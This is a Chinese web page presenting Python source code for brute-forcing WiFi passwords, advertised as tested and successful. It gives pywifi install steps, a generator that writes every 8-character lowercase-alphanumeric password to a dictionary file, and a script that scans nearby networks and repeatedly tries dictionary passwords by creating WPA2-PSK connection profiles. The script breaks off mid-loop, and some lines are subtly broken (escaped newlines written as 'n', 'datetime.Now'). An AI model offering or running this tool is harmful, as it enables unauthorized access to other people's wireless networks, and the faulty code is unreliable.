加入收藏 | 设为首页 | 会员中心 | 我要投稿 十堰站长网 (https://www.0719zz.com/)- 混合云存储、网络、视频终端、云计算、媒体处理!
当前位置: 首页 > 编程开发 > Python > 正文

Python破解WIFI密码完整源代码,实测可成功破解

发布时间:2023-02-16 14:22:52 所属栏目:Python 来源:互联网
导读:目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种:
  目录
 
  # 修正记录:2022-12-01
 
  1,先安装Python环境(这个不用多说了吧)
 
  2,安装PyWifi
 
  3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。
 
  4,自己生成字典的算法:
 
  5,破解WIF代码第一种(2022-12-01):
 
  6,破解WIF代码第二种:
 
  7,执行破解成功效果截图(成功连接):
 
  8,总结:
 
  9,温馨提示。
 
  # 修正记录:2022-12-01
     【破解WIF代码第一种】修正一个小错误,表现为代码执行多次后会报:ERROR Open handle Failed! 错误。已修正。 并增加了尝试次数记数及显示。
 
  1,先安装Python环境(这个不用多说了吧)
  2,安装PyWifi
  pip install pywifi
  3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。
  完全是在浪费时间和资源。实话实说
 
  一般字典包括数字(0-9)、字母(a-z,区分大小写)、特殊字符(!@#$%^&*()_+=-)
  常规WPA2 wifi密码为最低8位,且仅包括数字和小写字母,
  所以我们可以从数字和字母组成的字符串中随机挑选出8位(单个字符可重复出现),
  作为wifi密码组成字典存入txt文档。
  4,自己生成字典的算法:
  import itertools as its
  words = "1234567890abcdefghijklmnopqrstuvwxyz" #可选择的字符
  r =its.product(words,repeat=8)  #组成8位字符串
  dic = open("pwd.txt","a")      #存储为wifi密码字典
  #wifi密码完成换行,并写入txt文档
  for i in r:
      dic.write("".join(i))
      dic.write("".join("n"))
  dic.close()
  5,破解WIF代码第一种(2022-12-01修正):
  import pywifi
  import time
  import datetime
  from pywifi import const
  
  # WiFi扫描模块
  def wifi_scan():
      # 初始化wifi
      wifi = pywifi.PyWiFi()
      # 使用第一个无线网卡
      interface = wifi.interfaces()[0]
      # 开始扫描
      interface.scan()
      for i in range(4):
          time.sleep(1)
          # print('r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i),end=')n')
          print('r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i)+')')
      print('r扫描完成!n' + '-' * 38)
      print('r{:4}{:6}{}'.format('编号','信号强度','wifi名'))
      # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
      bss = interface.scan_results()
      # 存放wifi名的集合
      wifi_name_set = set()
      for w in bss:
          # 解决乱码问题
          wifi_name_and_signal = (100 + w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8'))
          wifi_name_set.add(wifi_name_and_signal)
      # 存入列表并按信号排序
      wifi_name_list = list(wifi_name_set)
      wifi_name_list = sorted(wifi_name_list,key=lambda a: a[0],reverse=True)
      num = 0
      # 格式化输出
      while num < len(wifi_name_list):
          print('r{:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))
          num += 1
      print('-' * 38)
      # 返回wifi列表
      return wifi_name_list
  
  # WIFI破解模块
  def wifi_password_crack(wifi_name):
      # 字典路径
      dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
      if dic_path =="": dic_path = "pwd.txt"
      # 打开文件
      # file = open(dic_path,"r")
      start = datetime.datetime.Now()
      iCount = 0
      # 创建wifi对象
      wifi = pywifi.PyWiFi()
      # 创建网卡对象,为第一个wifi网卡
      interface = wifi.interfaces()[0]
      with open(dic_path,'r') as f:
          # 遍历密码
          for pwd in f:
              # 去除密码的末尾换行符
              pwd = pwd.strip('n')
              # ERROR Open handle Failed!将这创建对象过程移到上面,防止多次执行时报错
              # 创建wifi对象
              # wifi = pywifi.PyWiFi()
              # 创建网卡对象,为第一个wifi网卡
              # interface = wifi.interfaces()[0]
              # 断开所有wifi连接
              interface.disconnect()
              # 等待其断开
              while interface.status() == 4:
                  # 当其处于连接状态时,利用循环等待其断开
                  pass
              # 创建连接文件(对象)
              profile = pywifi.Profile()
              # wifi名称
              profile.ssid = wifi_name
              # 需要认证
              profile.auth = const.AUTH_ALG_OPEN
              # wifi默认加密算法
              profile.akm.append(const.AKM_TYPE_WPA2PSK)
              profile.cipher = const.CIPHER_TYPE_CCMP
              # wifi密码
              profile.key = pwd
              # 删除所有wifi连接文件
              interface.remove_all_network_profiles()
              # 设置新的wifi连接文件
              tmp_profile = interface.add_network_profile(profile)

(编辑:十堰站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读